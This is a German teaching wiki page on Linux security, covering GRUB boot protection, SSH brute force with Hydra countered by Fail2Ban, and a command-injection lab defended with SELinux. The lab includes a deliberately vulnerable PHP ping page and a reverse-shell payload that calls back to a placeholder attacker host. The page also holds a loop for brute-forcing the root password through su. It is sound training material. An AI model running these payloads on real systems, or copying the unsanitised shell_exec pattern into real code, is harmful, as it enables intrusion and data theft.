Informationssicherheit in Linux-Umgebungen: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 17: | Zeile 17: | ||
*'''apt install hydra''' | *'''apt install hydra''' | ||
| − | =Passwordliste laden= | + | == Passwordliste laden == |
*wget https://xinux.de/downloads/bad-passwords | *wget https://xinux.de/downloads/bad-passwords | ||
| − | =Angriff starten= | + | == Angriff starten == |
| + | |||
*'''hydra -l xinux -P bad-passwords aa.bb.cc.dd ssh''' | *'''hydra -l xinux -P bad-passwords aa.bb.cc.dd ssh''' | ||
| − | = | + | == SSH Daemon in Fail2Ban aktivieren == |
| + | |||
*'''vim /etc/fail2ban/jail.local''' | *'''vim /etc/fail2ban/jail.local''' | ||
| Zeile 29: | Zeile 31: | ||
enable = true | enable = true | ||
| − | = | + | == Fail2Ban neustarten == |
| − | *systemctl restart fail2ban | + | |
| − | =Status checken= | + | *'''systemctl restart fail2ban''' |
| + | |||
| + | == Status checken == | ||
| + | |||
*'''fail2ban-client status sshd''' | *'''fail2ban-client status sshd''' | ||
| Zeile 46: | Zeile 51: | ||
*'''iptables -nvL''' | *'''iptables -nvL''' | ||
| − | =Alles unbannen= | + | == Alles unbannen == |
| − | *fail2ban-client unban --all | + | |
| + | *'''fail2ban-client unban --all''' | ||
= [[Command Injection]] über eine Webanwendung = | = [[Command Injection]] über eine Webanwendung = | ||
Version vom 18. August 2023, 08:41 Uhr
physischer Zugangsschutz
Bootzugriff absichern
- Der erste Prozess mit dem Linux gebootet wird, kann von GRUB2 bestimmt werden.
- So kann man das Passwort des root-Nutzers zurücksetzen, falls man diesen vergessen hat.
- D.h. aber auch, dass ein unautorisierter Benutzer mit Zugriff auf die physische Maschine sich eine Shell geben kann ohne Kenndaten einzugeben.
- Anleitung zu Linux boot hacking
- Man sollte also kritische Systeme mit einem GRUB Passwort vor ungewollten Änderungen der Boot-Einträge absichern
- Anleitung zum setzen eines Passworts für GRUB2
Brute Force Attacken
- Brute Force Attacken versuchen durch sich bei einem Dienst mit zufälligen Anmeldedaten zu authentifizieren ohne diese zu kennen
- Dafür werden entweder zufällig generierte oder häufig benutzte Benutzernamen / Passwörter versucht
- Eine populäre Software für solche Testzwecke mit Multithreading ist Hydra
- apt update
- apt install hydra
Passwordliste laden
Angriff starten
- hydra -l xinux -P bad-passwords aa.bb.cc.dd ssh
SSH Daemon in Fail2Ban aktivieren
- vim /etc/fail2ban/jail.local
[sshd] enable = true
Fail2Ban neustarten
- systemctl restart fail2ban
Status checken
- fail2ban-client status sshd
Status for the jail: sshd |- Filter | |- Currently failed: 1 | |- Total failed: 14 | `- File list: /var/log/auth.log `- Actions |- Currently banned: 1 |- Total banned: 1 `- Banned IP list: 10.0.1xx.2
- iptables -nvL
Alles unbannen
- fail2ban-client unban --all
Command Injection über eine Webanwendung
Laboraufbau
- apt install apache2 php-sqlite3 libapache2-mod-php
Schwachstelle im Code
- vim /var/www/html/command-injection.php
<!DOCTYPE html>
<html>
<body>
<h2>PING</h2>
<form method="post">
<label for="fname">IP</label><br>
<input type="text" name="ip"><br>
<input type="submit" name="submit" value="submit">
</form>
<br>
<?php
if(isset($_POST['submit'])){
$ip = $_POST['ip'];
$cmd = 'ping -c 4 ' . $ip;
$output = shell_exec($cmd);
echo "<pre> $output</pre>";
}
?>
</body>
</html>
</php>
Exploit
- Auf der Angreifermaschine:
- nc -p port
- In der Webanwendung:
- 1.1.1.1 ; bash -c "bash -i >& /dev/tcp/i.p.des.hackers/port 0>&1"
- nach kurzer Zeit sollte man als Angreifer eine Shell als Benutzer www-data bekommen!
- Von dieser Position aus kann man folgenderweise weitermachen:
- Backend Code des Servers auslesen
- Informationen aus den Datenbanken stehlen
- Brute Force root Passwort: for i in "hallo" "welt" "123Start$" "falschespw" ; do echo $i | timeout 0.7 su root -c whoami 2> /dev/null && echo $i ; done
- Netzwerktopologie aufdecken: mit nmap (falls installiert) oder manuell mit ping und netcat
- Informationen über verwendete Software-Versionen sammeln
SELinux
- Diese Command Injection Schwachstelle lässt sich mit SELinux beheben
- SELinux unter Debian
- Damit der Ping aber weiterhin funktioniert, muss noch ein Richtlinienmodul geladen werden, der speziell für Apache2 das Pingen erlaubt
- setenforce 0
- Normal auf der Weboberfläche pingen (Keine Reverse Shell aufbauen!)
- Nun kann man die Verstöße in ein ladbares Modul umwandeln, welches speziell nur die Rechte vergibt, um Ping zuzulassen
- ausearch -m AVC -ts recent | audit2allow -M apache2-ping
- semodule -i apache2-ping.pp
- setenforce 1
- Nun sollte das Öffnen eines Portes durch Command Injection durch SELinux verhindert werden
- Die Verstöße kann man sich nochmal mit auseach anzeigen lassen
- !!Achtung!! Andere Kommandos könnten jedoch immernoch ausgeführt werden, z.B. 1.1.1.1 ; ls zeigt uns den Inhalt des Ordners /var/www/html
OWASP Juice Shop
Burp
Suricata
Schwachstellenerkennung/-scanning
nmap
Greenbone Security Manager
Cross Site Scripting
Office-Tools Macro-Exploit
Links
- Brute Force su als Skript: https://github.com/carlospolop/su-bruteforce
